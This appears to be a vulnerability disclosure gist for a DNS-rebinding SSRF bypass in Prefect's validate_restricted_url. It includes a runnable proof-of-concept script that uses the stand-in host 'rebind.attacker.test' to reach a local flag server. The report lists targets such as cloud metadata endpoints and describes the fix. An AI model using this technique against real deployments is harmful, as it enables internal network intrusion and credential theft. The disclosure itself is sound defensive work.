nedlir / **REPORT.md** Secret

Created 2 weeks ago

Code Revisions 1

compose.yaml

```yaml
services:
  attack:
    image: python:3.12-slim
    working_dir: /work
    volumes:
      - ./:/work
    command:
      - sh
      - -c
      - |
        pip install --quiet prefect==3.6.26 httpx && python poc.py
```

poc.py

```python
"""
PoC: Prefect SSRF bypass via DNS rebinding TOCTOU in validate_restricted_url.
Affected: Prefect <= 3.6.26. Fix (f2bad07afa)

Deps: pip install prefect==3.6.26 httpx

Usage: python poc.py
"""

import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

import httpx

from prefect.utilities.urls import validate_restricted_url

HOST = "rebind.attacker.test"
PORT = 9999
FLAG = "flag{SSRF-via-DNS-rebinding}"
PUBLIC_IP = "93.184.216.34"  # example.com
```

```
22
23
24  class FlagHandler(BaseHTTPRequestHandler):
25      def do_GET(self):
26          self.send_response(200)
27          self.end_headers()
28          self.wfile.write(FLAG.encode())
29
30      def log_message(self, *a, **k):
31          pass
32
33
34  def start_internal_server():
35      srv = HTTPServer(("127.0.0.1", PORT), FlagHandler)
36      threading.Thread(target=srv.serve_forever, daemon=True).start()
37
38
39  real_gethostbyname = socket.gethostbyname
40  real_getaddrinfo = socket.getaddrinfo
41  validation_calls = 0
42
43
44  def rebind_gethostbyname(host):
45      global validation_calls
46      if host == HOST:
47          validation_calls += 1
48          return PUBLIC_IP
49      return real_gethostbyname(host)
50
51
52  def rebind_getaddrinfo(host, port, *a, **kw):
53      if host == HOST:
54          return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("127.0.0.1", port or 0))]
55      return real_getaddrinfo(host, port, *a, **kw)
56
57
58  def main():
59      start_internal_server()
60      socket.gethostbyname = rebind_gethostbyname
61      socket.getaddrinfo = rebind_getaddrinfo
62
63      url = f"http://{HOST}:{PORT}/flag"
64
65      validate_restricted_url(url)
66      print(f"[validate] passed: {url} (saw public IP {PUBLIC_IP})")
67
68      r = httpx.get(url, timeout=5)
69      print(f"[request]  HTTP {r.status_code} from {HOST}:{PORT}")
70      print(f"[request]  body: {r.text}")
```

```
71
72      assert r.text == FLAG
73      print("[result]   SSRF confirmed: validation saw public IP, connection hit 127.0.0.1")
74
75
76  if __name__ == "__main__":
77      main()
```

REPORT.md

Prefect SSRF Bypass via DNS Rebinding in `validate_restricted_url`

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	All 3.x releases up to and including **3.6.26** (latest stable). Fix not yet released.
Fixed In	Unreleased. Fix on master: `f2bad07afa` (2026-04-17)
CVE	None assigned
CWE	CWE-367 (TOCTOU), CWE-918 (SSRF), CWE-350 (Reliance on Untrusted Inputs in a Security Decision)
CVSS 3.1	7.5 High -- `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N`

Bug

`prefect.utilities.urls.validate_restricted_url` is Prefect's SSRF guard. It is used by `Webhook` and `CustomWebhookNotificationBlock` when `allow_private_urls=False` to refuse outbound requests that resolve to private/loopback/link-local addresses.

Pre-fix implementation (3.6.26):

```
ip_address = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_address)
...
```

```
if ip.is_private:
    raise ValueError(...)
```

Two separate, unauthenticated DNS lookups happen for the same hostname:

1. `validate_restricted_url` calls `socket.gethostbyname(hostname)` and checks the result.
2. The subsequent `httpx.AsyncClient` call re-resolves the hostname via `getaddrinfo` at connection time.

An attacker controlling the authoritative DNS for their hostname can answer the first query with a public IP (validation passes) and the second with `127.0.0.1` / `169.254.169.254` / in-cluster service IPs (request is actually sent there). Classic DNS-rebinding TOCTOU.

`gethostbyname` returns only the first A record, so the sibling vector -- a single response carrying one public and one private record (`A 1.1.1.1` + `A 127.0.0.1`) -- is also uncaught: httpx / the OS may pick the private one.

Impact

Any code path that trusts `validate_restricted_url` as a security boundary can be coerced into making arbitrary internal HTTP requests:

- `CustomWebhookNotificationBlock` with `allow_private_urls=False`
- `Webhook` block with `allow_private_urls=False`
- Any third-party integration calling `validate_restricted_url` before an outbound request

Reachable from: any actor who can set the URL on a webhook/notification block (Prefect users, compromised RBAC, automation inputs). Targets: cloud metadata (`169.254.169.254`), loopback admin APIs, in-cluster Kubernetes services, internal dashboards.

Proof

See `poc.py`. The script:

1. Starts a loopback "internal" HTTP server on `127.0.0.1:9999` holding a flag.
2. Installs a DNS-rebinding shim: the first `gethostbyname` for `rebind.attacker.test` returns a public IP, subsequent `getaddrinfo` calls return `127.0.0.1`.

3. Calls `prefect.utilities.urls.validate_restricted_url("http://rebind.attacker.test:9999/flag")` -- passes.
4. Issues `httpx.get(...)` to the same URL -- retrieves the flag from `127.0.0.1`.

Expected output:

```
[validate] passed: http://rebind.attacker.test:9999/flag (saw public IP
93.184.216.34)
[request]  HTTP 200 from rebind.attacker.test:9999
[request]  body: flag{SSRF-via-DNS-rebinding}
[result]   SSRF confirmed: validation saw public IP, connection hit
127.0.0.1
```

Reproduction

```
pip install prefect==3.6.26 httpx
python poc.py
```

Or via Docker:

```
docker compose up --build
```

Fix (unreleased, commit `f2bad07afa`)

Two layers:

1. `_validate_resolved_hostname` replaces `gethostbyname` with `getaddrinfo` and validates **every** returned address, so mixed public/private answers no longer bypass the check.
2. New `SSRFProtectedAsyncHTTPTransport` / `SSRFProtectedHTTPTransport` wrap `httpcore`'s network backend. On `connect_tcp` they resolve the hostname themselves, reject private addresses, and pass the validated **IP literal** to the backend so DNS cannot be re-resolved between validation and connect.

The combination closes both the multi-record variant (1) and the rebinding variant (2).

Timeline

Date	Event
2026-04-17	Fix committed to master (`f2bad07afa`)